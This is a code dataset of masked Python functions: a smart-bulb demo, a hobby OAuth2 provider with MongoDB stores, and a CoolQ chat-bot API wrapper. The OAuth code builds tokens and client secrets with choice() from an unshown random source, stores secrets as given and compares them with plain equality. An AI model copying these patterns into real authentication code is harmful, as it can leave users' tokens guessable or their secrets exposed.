{"signature": "def demo():", "body": "hub = Hub()<EOL>if hub.available:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\")<EOL><DEDENT>bulbs = hub.get_lights()<EOL>light = get_bulb(ZID_TO_TEST, bulbs)<EOL>if light is not None:<EOL><INDENT>if light.available:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\")<EOL>assert light.available<EOL>light.turn_on()<EOL>time.sleep(SECONDS_TO_WAIT)<EOL>assert light.is_on<EOL>light.update()<EOL>light.update()<EOL>light.set_rgb_color(<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:255>)<EOL>time.sleep(SECONDS_TO_WAIT)<EOL>light.update()<EOL>assert light.rgb_color == [<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:255>]<EOL>light.set_brightness(<NUM_LIT>)<EOL>time.sleep(SECONDS_TO_WAIT)<EOL>assert light.brightness == <NUM_LIT><EOL>assert light.is_on<EOL>light.turn_off()<EOL>time.sleep(SECONDS_TO_WAIT)<EOL>assert not light.is_on<EOL>light.set_all(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)<EOL>time.sleep(SECONDS_TO_WAIT)<EOL>LOGGER.info(\"<STR_LIT>\", light.rgb_color,<EOL>light.brightness)<EOL>assert light.brightness == <NUM_LIT><EOL>assert light.rgb_color == [<NUM_LIT>, <NUM_LIT>, <NUM_LIT>]<EOL>light.turn_off()<EOL><DEDENT>else:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Demo some specific functionality. Needs to be customised.", "id": "f833:m1"}
{"signature": "def get_bulb(zid, bulbs):", "body": "for bulb in bulbs:<EOL><INDENT>if bulb.zid == zid:<EOL><INDENT>return bulb<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Retrieve a bulb by its zid from a list of Bulb objects.", "id": "f833:m2"}
{"signature": "def register_app( self, name, redirect_uri ):", "body": "client_id = self._generate_token()<EOL>client_secret = self._generate_token( <NUM_LIT:64> )<EOL>self.data_store.store( '<STR_LIT>', client_id=client_id,<EOL>client_secret=client_secret, name=name,<EOL>redirect_uri=redirect_uri )<EOL>return { '<STR_LIT>':client_id, '<STR_LIT>':client_secret }<EOL>", "docstring": "register_app takes an application name and redirect_uri\nIt generates client_id (client_key) and client_secret,\nthen stores all of the above in the data_store,\nand returns a dictionary containing the client_id and client_secret.", "id": "f835:c1:m1"}
{"signature": "def request_authorization( self, client_id, user_id, response_type,<EOL>redirect_uri=None, scope=None, state=None,<EOL>expires=<NUM_LIT> ):", "body": "if response_type != '<STR_LIT:code>':<EOL><INDENT>raise Proauth2Error( '<STR_LIT>',<EOL>'<STR_LIT>', state=state )<EOL><DEDENT>client = self.data_store.fetch( '<STR_LIT>', client_id=client_id )<EOL>if not client: raise Proauth2Error( '<STR_LIT>' )<EOL>if redirect_uri and client['<STR_LIT>'] != redirect_uri:<EOL><INDENT>raise Proauth2Error( '<STR_LIT>', \"<STR_LIT>\" )<EOL><DEDENT>nonce_code = self._generate_token()<EOL>expires = time() + expires<EOL>try:<EOL><INDENT>self.data_store.store( '<STR_LIT>', code=nonce_code,<EOL>client_id=client_id, expires=expires,<EOL>user_id=user_id, scope=scope )<EOL><DEDENT>except Proauth2Error as e:<EOL><INDENT>e.state = state<EOL>raise e<EOL><DEDENT>return { '<STR_LIT:code>':nonce_code, '<STR_LIT:state>':state }<EOL>", "docstring": "request_authorization generates a nonce, and stores it in the data_store along with the\nclient_id, user_id, and expiration timestamp.\nIt then returns a dictionary containing the nonce as \"code,\" and the passed\nstate.\n---\nresponse_type MUST be \"code.\" this is directly from the OAuth2 spec.\nthis probably doesn't need to be checked here, but if it's in the spec I\nguess it should be verified somewhere.\nscope has not been implemented here. it will be stored, but there is no\nscope-checking built in here at this time.\nif a redirect_uri is passed, it must match the registered redirect_uri.\nagain, this is per spec.", "id": "f835:c1:m2"}
{"signature": "def request_access_token( self, client_id, key, code, grant_type,<EOL>redirect_uri=None, method='<STR_LIT>' ):", "body": "if grant_type != '<STR_LIT>':<EOL><INDENT>raise Proauth2Error( '<STR_LIT>',<EOL>'<STR_LIT>' )<EOL><DEDENT>self._auth( client_id, key, method )<EOL>user_id = self._validate_request_code( code, client_id )<EOL>access_token = self._generate_token( <NUM_LIT:64> )<EOL>self.data_store.store( '<STR_LIT>', token=access_token, user_id=user_id,<EOL>client_id=client_id )<EOL>return { '<STR_LIT>':access_token, '<STR_LIT>':'<STR_LIT>' }<EOL>", "docstring": "request_access_token validates the client_id and client_secret, using the\nprovided method, then generates an access_token, stores it with the user_id\nfrom the nonce, and returns a dictionary containing an access_token and\nbearer token.\n---\nfrom the spec, it looks like there are different types of\ntokens, but i don't understand the disctintions, so someone else can fix\nthis if need be.\nregarding the method: it appears that it is intended for there to be\nmultiple ways to verify the client_id. my assumption is that you use the\nsecret as the salt and pass the hashed of the client_id or something, and\nthen compare hashes on the server end. currently the only implemented method\nis direct comparison of the client_ids and client_secrets.\nadditional methods can be added to proauth2.auth_methods", "id": "f835:c1:m3"}
{"signature": "def authenticate_token( self, token ):", "body": "token_data = self.data_store.fetch( '<STR_LIT>', token=token )<EOL>if not token_data:<EOL><INDENT>raise Proauth2Error( '<STR_LIT>',<EOL>'<STR_LIT>' )<EOL><DEDENT>return token_data['<STR_LIT>']<EOL>", "docstring": "authenticate_token checks the passed token and returns the user_id it is\nassociated with. it is assumed that this method won't be directly exposed to\nthe oauth client, but some kind of framework or wrapper. this allows the\nframework to have the user_id without doing additional DB calls.", "id": "f835:c1:m4"}
{"signature": "def revoke_token( self, token ):", "body": "self.data_store.remove( '<STR_LIT>', token=token )<EOL>", "docstring": "revoke_token removes the access token from the data_store", "id": "f835:c1:m5"}
{"signature": "def _generate_token( self, length=<NUM_LIT:32> ):", "body": "return '<STR_LIT>'.join( choice( ascii_letters + digits ) for x in range( length ) )<EOL>", "docstring": "_generate_token - internal function for generating randomized alphanumberic\nstrings of a given length", "id": "f835:c1:m6"}
{"signature": "def _auth( self, client_id, key, method ):", "body": "available = auth_methods.keys()<EOL>if method not in available:<EOL><INDENT>raise Proauth2Error( '<STR_LIT>',<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'% ( method, '<STR_LIT:\\n>'.join( available ) ) )<EOL><DEDENT>client = self.data_store.fetch( '<STR_LIT>', client_id=client_id )<EOL>if not client: raise Proauth2Error( '<STR_LIT>' )<EOL>if not auth_methods[method]( key, client['<STR_LIT>'] ):<EOL><INDENT>raise Proauth2Error( '<STR_LIT>' )<EOL><DEDENT>", "docstring": "_auth - internal method to ensure the client_id and client_secret passed with\nthe nonce match", "id": "f835:c1:m7"}
{"signature": "def _validate_request_code( self, code, client_id):", "body": "nonce = self.data_store.fetch( '<STR_LIT>', code=code )<EOL>if not nonce:<EOL><INDENT>raise Proauth2Error( '<STR_LIT>', '<STR_LIT>' % code )<EOL><DEDENT>if client_id != nonce['<STR_LIT>']: <EOL><INDENT>raise Proauth2Error( '<STR_LIT>', '<STR_LIT>' % code )<EOL><DEDENT>user_id = nonce['<STR_LIT>']<EOL>expires = nonce['<STR_LIT>']<EOL>self.data_store.remove( '<STR_LIT>', code=code, client_id=client_id,<EOL>user_id=user_id )<EOL>if time() > expires:<EOL><INDENT>raise Proauth2Error( '<STR_LIT>', '<STR_LIT>' % code )<EOL><DEDENT>return user_id<EOL>", "docstring": "_validate_request_code - internal method for verifying the the given nonce.\nalso removes the nonce from the data_store, as they are intended for\none-time use.", "id": "f835:c1:m8"}
{"signature": "@engine<EOL><INDENT>def register_app(self, name, redirect_uri, callback):<DEDENT>", "body": "client_id = self._generate_token()<EOL>client_secret = self._generate_token(<NUM_LIT:64>)<EOL>yield Task(self.data_store.store, '<STR_LIT>', client_id=client_id,<EOL>client_secret=client_secret, name=name,<EOL>redirect_uri=redirect_uri)<EOL>callback({'<STR_LIT>':client_id, '<STR_LIT>':client_secret})<EOL>", "docstring": "register_app takes an application name and redirect_uri\nIt generates client_id (client_key) and client_secret,\nthen stores all of the above in the data_store,\nand returns a dictionary containing the client_id and client_secret.", "id": "f836:c0:m1"}
{"signature": "@engine<EOL><INDENT>def request_authorization(self, client_id, user_id, response_type,<EOL>redirect_uri=None, scope=None, state=None,<EOL>expires=<NUM_LIT>, callback=None):<DEDENT>", "body": "if response_type != '<STR_LIT:code>':<EOL><INDENT>raise Proauth2Error('<STR_LIT>',<EOL>'<STR_LIT>', state=state)<EOL><DEDENT>client = yield Task(self.data_store.fetch, '<STR_LIT>',<EOL>client_id=client_id)<EOL>if not client: raise Proauth2Error('<STR_LIT>')<EOL>if redirect_uri and client['<STR_LIT>'] != redirect_uri:<EOL><INDENT>raise Proauth2Error('<STR_LIT>', \"<STR_LIT>\")<EOL><DEDENT>nonce_code = self._generate_token()<EOL>expires = time() + expires<EOL>try:<EOL><INDENT>yield Task(self.data_store.store, '<STR_LIT>', code=nonce_code,<EOL>client_id=client_id, expires=expires, user_id=user_id,<EOL>scope=scope)<EOL><DEDENT>except Proauth2Error as e:<EOL><INDENT>e.state = state<EOL>raise e<EOL><DEDENT>callback({'<STR_LIT:code>':nonce_code, '<STR_LIT:state>':state})<EOL>", "docstring": "request_authorization generates a nonce, and stores it in the data_store along with the\nclient_id, user_id, and expiration timestamp.\nIt then returns a dictionary containing the nonce as \"code,\" and the passed\nstate.\n---\nresponse_type MUST be \"code.\" this is directly from the OAuth2 spec.\nthis probably doesn't need to be checked here, but if it's in the spec I\nguess it should be verified somewhere.\nscope has not been implemented here. it will be stored, but there is no\nscope-checking built in here at this time.\nif a redirect_uri is passed, it must match the registered redirect_uri.\nagain, this is per spec.", "id": "f836:c0:m2"}
{"signature": "@engine<EOL><INDENT>def request_access_token(self, client_id, key, code, grant_type,<EOL>redirect_uri=None, method='<STR_LIT>',<EOL>callback=None):<DEDENT>", "body": "if grant_type != '<STR_LIT>':<EOL><INDENT>raise Proauth2Error('<STR_LIT>',<EOL>'<STR_LIT>')<EOL><DEDENT>yield Task(self._auth, client_id, key, method)<EOL>user_id = yield Task(self._validate_request_code, code, client_id)<EOL>access_token = self._generate_token(<NUM_LIT:64>)<EOL>yield Task(self.data_store.store, '<STR_LIT>', token=access_token,<EOL>user_id=user_id, client_id=client_id)<EOL>callback({'<STR_LIT>':access_token, '<STR_LIT>':'<STR_LIT>'})<EOL>", "docstring": "request_access_token validates the client_id and client_secret, using the\nprovided method, then generates an access_token, stores it with the user_id\nfrom the nonce, and returns a dictionary containing an access_token and\nbearer token.\n---\nfrom the spec, it looks like there are different types of\ntokens, but i don't understand the disctintions, so someone else can fix\nthis if need be.\nregarding the method: it appears that it is intended for there to be\nmultiple ways to verify the client_id. my assumption is that you use the\nsecret as the salt and pass the hashed of the client_id or something, and\nthen compare hashes on the server end. currently the only implemented method\nis direct comparison of the client_ids and client_secrets.\nadditional methods can be added to proauth2.auth_methods", "id": "f836:c0:m3"}
{"signature": "@engine<EOL><INDENT>def authenticate_token(self, token, callback):<DEDENT>", "body": "token_data = yield Task(self.data_store.fetch, '<STR_LIT>', token=token)<EOL>if not token_data:<EOL><INDENT>raise Proauth2Error('<STR_LIT>',<EOL>'<STR_LIT>')<EOL><DEDENT>callback(token_data['<STR_LIT>'])<EOL>", "docstring": "authenticate_token checks the passed token and returns the user_id it is\nassociated with. it is assumed that this method won't be directly exposed to\nthe oauth client, but some kind of framework or wrapper. this allows the\nframework to have the user_id without doing additional DB calls.", "id": "f836:c0:m4"}
{"signature": "@engine<EOL><INDENT>def revoke_token(self, token, callback):<DEDENT>", "body": "yield Task(self.data_store.remove, '<STR_LIT>', token=token)<EOL>callback()<EOL>", "docstring": "revoke_token removes the access token from the data_store", "id": "f836:c0:m5"}
{"signature": "@engine<EOL><INDENT>def _auth(self, client_id, key, method, callback):<DEDENT>", "body": "available = auth_methods.keys()<EOL>if method not in available:<EOL><INDENT>raise Proauth2Error('<STR_LIT>',<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %(method, '<STR_LIT:\\n>'.join(available)))<EOL><DEDENT>client = yield Task(self.data_store.fetch, '<STR_LIT>',<EOL>client_id=client_id)<EOL>if not client: raise Proauth2Error('<STR_LIT>')<EOL>if not auth_methods[method](key, client['<STR_LIT>']):<EOL><INDENT>raise Proauth2Error('<STR_LIT>')<EOL><DEDENT>callback()<EOL>", "docstring": "_auth - internal method to ensure the client_id and client_secret passed with\nthe nonce match", "id": "f836:c0:m6"}
{"signature": "@engine<EOL><INDENT>def _validate_request_code(self, code, client_id, callback):<DEDENT>", "body": "nonce = yield Task(self.data_store.fetch, '<STR_LIT>', code=code)<EOL>if not nonce:<EOL><INDENT>raise Proauth2Error('<STR_LIT>', '<STR_LIT>' % code)<EOL><DEDENT>if client_id != nonce['<STR_LIT>']: <EOL><INDENT>raise Proauth2Error('<STR_LIT>', '<STR_LIT>' % code)<EOL><DEDENT>user_id = nonce['<STR_LIT>']<EOL>expires = nonce['<STR_LIT>']<EOL>yield Task(self.data_store.remove, '<STR_LIT>', code=code,<EOL>client_id=client_id, user_id=user_id)<EOL>if time() > expires:<EOL><INDENT>raise Proauth2Error('<STR_LIT>', '<STR_LIT>' % code)<EOL><DEDENT>callback(user_id)<EOL>", "docstring": "_validate_request_code - internal method for verifying the the given nonce.\nalso removes the nonce from the data_store, as they are intended for\none-time use.", "id": "f836:c0:m7"}
{"signature": "def _generate_token(self, length=<NUM_LIT:32>):", "body": "return '<STR_LIT>'.join(choice(ascii_letters + digits) for x in range(length))<EOL>", "docstring": "_generate_token - internal function for generating randomized alphanumberic\nstrings of a given length", "id": "f836:c0:m8"}
{"signature": "def __init__(self, database='<STR_LIT>', host='<STR_LIT:localhost>', port=<NUM_LIT>,<EOL>user=None, pwd=None):", "body": "if user and pwd:<EOL><INDENT>connection_string = '<STR_LIT>' %(user, pwd, host, port)<EOL><DEDENT>else:<EOL><INDENT>connection_string = '<STR_LIT>' %(host, port)<EOL><DEDENT>self.db = MotorClient(connection_string).open_sync()[database]<EOL>", "docstring": "initialize a mongodb connection to mongodb://user:pass@host:port\nuse database", "id": "f838:c0:m0"}
{"signature": "@engine<EOL><INDENT>def fetch(self, collection, **kwargs):<DEDENT>", "body": "callback = kwargs.pop('<STR_LIT>')<EOL>data = yield Op(self.db[collection].find_one, kwargs)<EOL>callback(data)<EOL>", "docstring": "return one record from the collection whose parameters match kwargs\n---\nkwargs should be a dictionary whose keys match column names (in\ntraditional SQL / fields in NoSQL) and whose values are the values of\nthose fields.\ne.g. kwargs={name='my application name',client_id=12345}", "id": "f838:c0:m1"}
{"signature": "@engine<EOL><INDENT>def remove(self, collection, **kwargs):<DEDENT>", "body": "callback = kwargs.pop('<STR_LIT>')<EOL>yield Op(self.db[collection].remove, kwargs)<EOL>callback()<EOL>", "docstring": "remove records from collection whose parameters match kwargs", "id": "f838:c0:m2"}
{"signature": "@engine<EOL><INDENT>def store(self, collection, **kwargs):<DEDENT>", "body": "callback = kwargs.pop('<STR_LIT>')<EOL>key = validate(collection, **kwargs)<EOL>data = yield Task(self.fetch, collection, **{key: kwargs[key]})<EOL>if data is not None:<EOL><INDENT>raise Proauth2Error('<STR_LIT>')<EOL><DEDENT>yield Op(self.db[collection].insert, kwargs)<EOL>callback()<EOL>", "docstring": "validate the passed values in kwargs based on the collection,\nstore them in the mongodb collection", "id": "f838:c0:m3"}
{"signature": "def __init__( self, database='<STR_LIT>', host='<STR_LIT:localhost>', port=<NUM_LIT>,<EOL>user=None, pwd=None ):", "body": "if user and pwd:<EOL><INDENT>connection_string = '<STR_LIT>'% ( user, pwd, host, port )<EOL>self.db = MongoClient( connection_string )[database]<EOL><DEDENT>else:<EOL><INDENT>self.db = MongoClient( host, port )[database]<EOL><DEDENT>", "docstring": "initialize a mongodb connection to mongodb://user:pass@host:port\nuse database", "id": "f839:c0:m0"}
{"signature": "def fetch( self, collection, **kwargs ):", "body": "return self.db[collection].find_one( kwargs )<EOL>", "docstring": "return one record from the collection whose parameters match kwargs\n---\nkwargs should be a dictionary whose keys match column names (in\ntraditional SQL / fields in NoSQL) and whose values are the values of\nthose fields.\ne.g. kwargs={name='my application name',client_id=12345}", "id": "f839:c0:m1"}
{"signature": "def remove( self, collection, **kwargs ):", "body": "self.db[collection].remove( kwargs )<EOL>", "docstring": "remove records from collection whose parameters match kwargs", "id": "f839:c0:m2"}
{"signature": "def store( self, collection, **kwargs ):", "body": "key = validate( collection, **kwargs )<EOL>if self.fetch( collection, **{ key : kwargs[key] } ):<EOL><INDENT>raise Proauth2Error( '<STR_LIT>' )<EOL><DEDENT>self.db[collection].insert( kwargs )<EOL>", "docstring": "validate the passed values in kwargs based on the collection,\nstore them in the mongodb collection", "id": "f839:c0:m3"}
{"signature": "def validate( table, **data ):", "body": "if table not in good.keys():<EOL><INDENT>raise Proauth2Error( '<STR_LIT>', '<STR_LIT>' % table )<EOL><DEDENT>for req in good[table]['<STR_LIT>']:<EOL><INDENT>if not data.get( req, None ):<EOL><INDENT>raise Proauth2Error( '<STR_LIT>',<EOL>'<STR_LIT>' % req )<EOL><DEDENT><DEDENT>for key in data.keys():<EOL><INDENT>if key not in good[table]['<STR_LIT>'] andkey not in good[table]['<STR_LIT>']:<EOL><INDENT>raise Proauth2Error( '<STR_LIT>', '<STR_LIT>' % key )<EOL><DEDENT><DEDENT>return good[table]['<STR_LIT:key>']<EOL>", "docstring": "theoretically, any data store can be implemented to work with this package,\nwhich means basic data validation must be done in-package, so that weird\nstuff can't be stored in the data store.\nthis function raises an exception if an invalid table name is passed, not\nall of the required fields are in the data kwargs, or if a field that was\npassed is not expected.\nit also returns the key field name, for ensuring uniqueness (again, that may\nnot be built into whatever data store is impelemented.)", "id": "f840:m0"}
{"signature": "def direct_auth( key, secret ):", "body": "if key == secret: return True<EOL>return False<EOL>", "docstring": "directly compare the stored secret and the passed secret.", "id": "f841:m0"}
{"signature": "def __init__(self, api_root=None, access_token=None, secret=None):", "body": "super().__init__(api_root=api_root, access_token=access_token, secret=secret)<EOL>", "docstring": "\u521b\u5efa CoolQ HTTP API \u5bf9\u8c61\n\n------------\n\n:param str | None api_root: \u9177 Q HTTP API \u63d2\u4ef6\u7684\u76d1\u542c\u5730\u5740\u7684 URL \uff0c\u4e0e HTTP API \u7684\u914d\u7f6e\u6587\u4ef6\u8bbe\u5b9a\u548c\u5b9e\u9645\u4f7f\u7528\u73af\u5883\u76f8\u5173\u3002\u5982\u679c\u4f60\u4e0d\u9700\u8981\u8c03\u7528 API\uff0c\u4e5f\u53ef\u4ee5\u4e0d\u4f20\u5165\u3002\n:param str | None access_token: \u63d2\u4ef6\u914d\u7f6e\u6587\u4ef6\u4e2d\u6240\u6307\u5b9a\u7684 `access_token` \u3002\u5982\u679c\u672a\u8bbe\u5b9a\u53ef\u4e0d\u4f20\u6b64\u53c2\u6570\u3002\n:param str | None secret: \u63d2\u4ef6\u914d\u7f6e\u6587\u4ef6\u4e2d\u6240\u6307\u5b9a\u7684 `secret` \u3002\u5982\u679c\u672a\u8bbe\u5b9a\u53ef\u4e0d\u4f20\u6b64\u53c2\u6570\u3002", "id": "f847:c0:m0"}
{"signature": "def send_private_msg(self, *, user_id, message, auto_escape=False):", "body": "return super().__getattr__('<STR_LIT>')(user_id=user_id, message=message, auto_escape=auto_escape)<EOL>", "docstring": "\u53d1\u9001\u79c1\u804a\u6d88\u606f\n\n------------\n\n:param int user_id: \u5bf9\u65b9 QQ \u53f7\n:param str | list[ dict[ str, unknown ] ] message: \u8981\u53d1\u9001\u7684\u5185\u5bb9\n:param bool auto_escape: \u6d88\u606f\u5185\u5bb9\u662f\u5426\u4f5c\u4e3a\u7eaf\u6587\u672c\u53d1\u9001\uff08\u5373\u4e0d\u89e3\u6790 CQ \u7801\uff09\uff0c`message` \u6570\u636e\u7c7b\u578b\u4e3a `list` \u65f6\u65e0\u6548\n:return: {\"message_id\": int \u6d88\u606fID}\n:rtype: dict[string, int]", "id": "f847:c0:m1"}
{"signature": "def send_private_msg_async(self, *, user_id, message, auto_escape=False):", "body": "return super().__getattr__('<STR_LIT>')(user_id=user_id, message=message, auto_escape=auto_escape)<EOL>", "docstring": "\u53d1\u9001\u79c1\u804a\u6d88\u606f (\u5f02\u6b65\u7248\u672c)\n\n------------\n\n:param int user_id: \u5bf9\u65b9 QQ \u53f7\n:param str | list[ dict[ str, unknown ] ] message: \u8981\u53d1\u9001\u7684\u5185\u5bb9\n:param bool auto_escape: \u6d88\u606f\u5185\u5bb9\u662f\u5426\u4f5c\u4e3a\u7eaf\u6587\u672c\u53d1\u9001\uff08\u5373\u4e0d\u89e3\u6790 CQ \u7801\uff09\uff0c`message` \u6570\u636e\u7c7b\u578b\u4e3a `list` \u65f6\u65e0\u6548\n:return: None\n:rtype: None", "id": "f847:c0:m2"}
{"signature": "def send_group_msg(self, *, group_id, message, auto_escape=False):", "body": "return super().__getattr__('<STR_LIT>')(group_id=group_id, message=message, auto_escape=auto_escape)<EOL>", "docstring": "\u53d1\u9001\u7fa4\u6d88\u606f\n\n------------\n\n:param int group_id: \u7fa4\u53f7\n:param str | list[ dict[ str, unknown ] ] message: \u8981\u53d1\u9001\u7684\u5185\u5bb9\n:param bool auto_escape: \u6d88\u606f\u5185\u5bb9\u662f\u5426\u4f5c\u4e3a\u7eaf\u6587\u672c\u53d1\u9001\uff08\u5373\u4e0d\u89e3\u6790 CQ \u7801\uff09\uff0c`message` \u6570\u636e\u7c7b\u578b\u4e3a `list` \u65f6\u65e0\u6548\n:return: {\"message_id\": int \u6d88\u606fID}\n:rtype: dict[string, int]", "id": "f847:c0:m3"}
{"signature": "def send_group_msg_async(self, *, group_id, message, auto_escape=False):", "body": "return super().__getattr__('<STR_LIT>')(group_id=group_id, message=message, auto_escape=auto_escape)<EOL>", "docstring": "\u53d1\u9001\u7fa4\u6d88\u606f (\u5f02\u6b65\u7248\u672c)\n\n------------\n\n:param int group_id: \u7fa4\u53f7\n:param str | list[ dict[ str, unknown ] ] message: \u8981\u53d1\u9001\u7684\u5185\u5bb9\n:param bool auto_escape: \u6d88\u606f\u5185\u5bb9\u662f\u5426\u4f5c\u4e3a\u7eaf\u6587\u672c\u53d1\u9001\uff08\u5373\u4e0d\u89e3\u6790 CQ \u7801\uff09\uff0c`message` \u6570\u636e\u7c7b\u578b\u4e3a `list` \u65f6\u65e0\u6548\n:return: None\n:rtype: None", "id": "f847:c0:m4"}
{"signature": "def send_discuss_msg(self, *, discuss_id, message, auto_escape=False):", "body": "return super().__getattr__('<STR_LIT>')(discuss_id=discuss_id, message=message, auto_escape=auto_escape)<EOL>", "docstring": "\u53d1\u9001\u8ba8\u8bba\u7ec4\u6d88\u606f\n\n------------\n\n:param int discuss_id: \u8ba8\u8bba\u7ec4 ID\uff08\u6b63\u5e38\u60c5\u51b5\u4e0b\u770b\u4e0d\u5230\uff0c\u9700\u8981\u4ece\u8ba8\u8bba\u7ec4\u6d88\u606f\u4e0a\u62a5\u7684\u6570\u636e\u4e2d\u83b7\u5f97\uff09\n:param str | list[ dict[ str, unknown ] ] message: \u8981\u53d1\u9001\u7684\u5185\u5bb9\n:param bool auto_escape: \u6d88\u606f\u5185\u5bb9\u662f\u5426\u4f5c\u4e3a\u7eaf\u6587\u672c\u53d1\u9001\uff08\u5373\u4e0d\u89e3\u6790 CQ \u7801\uff09\uff0c`message` \u6570\u636e\u7c7b\u578b\u4e3a `list` \u65f6\u65e0\u6548\n:return: {\"message_id\": int \u6d88\u606fID}\n:rtype: dict[string, int]", "id": "f847:c0:m5"}
{"signature": "def send_discuss_msg_async(self, *, discuss_id, message, auto_escape=False):", "body": "return super().__getattr__('<STR_LIT>')(discuss_id=discuss_id, message=message, auto_escape=auto_escape)<EOL>", "docstring": "\u53d1\u9001\u8ba8\u8bba\u7ec4\u6d88\u606f (\u5f02\u6b65\u7248\u672c)\n\n------------\n\n:param int discuss_id: \u8ba8\u8bba\u7ec4 ID\uff08\u6b63\u5e38\u60c5\u51b5\u4e0b\u770b\u4e0d\u5230\uff0c\u9700\u8981\u4ece\u8ba8\u8bba\u7ec4\u6d88\u606f\u4e0a\u62a5\u7684\u6570\u636e\u4e2d\u83b7\u5f97\uff09\n:param str | list[ dict[ str, unknown ] ] message: \u8981\u53d1\u9001\u7684\u5185\u5bb9\n:param bool auto_escape: \u6d88\u606f\u5185\u5bb9\u662f\u5426\u4f5c\u4e3a\u7eaf\u6587\u672c\u53d1\u9001\uff08\u5373\u4e0d\u89e3\u6790 CQ \u7801\uff09\uff0c`message` \u6570\u636e\u7c7b\u578b\u4e3a `list` \u65f6\u65e0\u6548\n:return: None\n:rtype: None", "id": "f847:c0:m6"}
{"signature": "def send_msg(self, *, message_type, user_id=None, group_id=None, discuss_id=None, message, auto_escape=False):", "body": "return super().__getattr__('<STR_LIT>')(message_type=message_type, user_id=user_id, group_id=group_id,<EOL>discuss_id=discuss_id, message=message, auto_escape=auto_escape)<EOL>", "docstring": "\u53d1\u9001\u6d88\u606f\n\n------------\n\n:param str message_type: \u6d88\u606f\u7c7b\u578b\uff0c\u652f\u6301 `private`\u3001`group`\u3001`discuss`\uff0c\u5206\u522b\u5bf9\u5e94\u79c1\u804a\u3001\u7fa4\u7ec4\u3001\u8ba8\u8bba\u7ec4\n:param int user_id: \u5bf9\u65b9 QQ \u53f7\uff08\u6d88\u606f\u7c7b\u578b\u4e3a `private` \u65f6\u9700\u8981\uff09\n:param int group_id: \u7fa4\u53f7\uff08\u6d88\u606f\u7c7b\u578b\u4e3a `group` \u65f6\u9700\u8981\uff09\n:param int discuss_id: \u8ba8\u8bba\u7ec4 ID\uff08\u9700\u8981\u4ece\u4e0a\u62a5\u6d88\u606f\u4e2d\u83b7\u53d6\uff0c\u6d88\u606f\u7c7b\u578b\u4e3a `discuss` \u65f6\u9700\u8981\uff09\n:param str | list[ dict[ str, unknown ] ] message: \u8981\u53d1\u9001\u7684\u5185\u5bb9\n:param bool auto_escape: \u6d88\u606f\u5185\u5bb9\u662f\u5426\u4f5c\u4e3a\u7eaf\u6587\u672c\u53d1\u9001\uff08\u5373\u4e0d\u89e3\u6790 CQ \u7801\uff09\uff0c`message` \u6570\u636e\u7c7b\u578b\u4e3a `list` \u65f6\u65e0\u6548\n:return: {\"message_id\": int \u6d88\u606fID}\n:rtype: dict[string, int]", "id": "f847:c0:m7"}
{"signature": "def send_msg_async(self, *, message_type, user_id=None, group_id=None, discuss_id=None, message, auto_escape=False):", "body": "return super().__getattr__('<STR_LIT>')(message_type=message_type, user_id=user_id, group_id=group_id,<EOL>discuss_id=discuss_id, message=message, auto_escape=auto_escape)<EOL>", "docstring": "\u53d1\u9001\u6d88\u606f (\u5f02\u6b65\u7248\u672c)\n\n------------\n\n:param str message_type: \u6d88\u606f\u7c7b\u578b\uff0c\u652f\u6301 `private`\u3001`group`\u3001`discuss`\uff0c\u5206\u522b\u5bf9\u5e94\u79c1\u804a\u3001\u7fa4\u7ec4\u3001\u8ba8\u8bba\u7ec4\n:param int user_id: \u5bf9\u65b9 QQ \u53f7\uff08\u6d88\u606f\u7c7b\u578b\u4e3a `private` \u65f6\u9700\u8981\uff09\n:param int group_id: \u7fa4\u53f7\uff08\u6d88\u606f\u7c7b\u578b\u4e3a `group` \u65f6\u9700\u8981\uff09\n:param int discuss_id: \u8ba8\u8bba\u7ec4 ID\uff08\u9700\u8981\u4ece\u4e0a\u62a5\u6d88\u606f\u4e2d\u83b7\u53d6\uff0c\u6d88\u606f\u7c7b\u578b\u4e3a `discuss` \u65f6\u9700\u8981\uff09\n:param str | list[ dict[ str, unknown ] ] message: \u8981\u53d1\u9001\u7684\u5185\u5bb9\n:param bool auto_escape: \u6d88\u606f\u5185\u5bb9\u662f\u5426\u4f5c\u4e3a\u7eaf\u6587\u672c\u53d1\u9001\uff08\u5373\u4e0d\u89e3\u6790 CQ \u7801\uff09\uff0c`message` \u6570\u636e\u7c7b\u578b\u4e3a `list` \u65f6\u65e0\u6548\n:return: None\n:rtype: None", "id": "f847:c0:m8"}
{"signature": "def delete_msg(self, *, message_id):", "body": "return super().__getattr__('<STR_LIT>')(message_id=message_id)<EOL>", "docstring": "\u64a4\u56de\u6d88\u606f\n\n------------\n\n:param int message_id: \u6d88\u606f ID\n:return: None\n:rtype: None", "id": "f847:c0:m9"}
{"signature": "def send_like(self, *, user_id, times=<NUM_LIT:1>):", "body": "return super().__getattr__('<STR_LIT>')(user_id=user_id, times=times)<EOL>", "docstring": "\u53d1\u9001\u597d\u53cb\u8d5e\n\n------------\n\n:param int user_id: \u5bf9\u65b9 QQ \u53f7\n:param int times: \u8d5e\u7684\u6b21\u6570\uff0c\u6bcf\u4e2a\u597d\u53cb\u6bcf\u5929\u6700\u591a 10 \u6b21\n:return: None\n:rtype: None", "id": "f847:c0:m10"}
{"signature": "def set_group_kick(self, *, group_id, user_id, reject_add_request=False):", "body": "return super().__getattr__('<STR_LIT>')(group_id=group_id, user_id=user_id, reject_add_request=reject_add_request)<EOL>", "docstring": "\u7fa4\u7ec4\u8e22\u4eba\n\n------------\n\n:param int group_id: \u7fa4\u53f7\n:param int user_id: \u8981\u8e22\u7684 QQ \u53f7\n:param bool reject_add_request: \u62d2\u7edd\u6b64\u4eba\u7684\u52a0\u7fa4\u8bf7\u6c42\n:return: None\n:rtype: None", "id": "f847:c0:m11"}
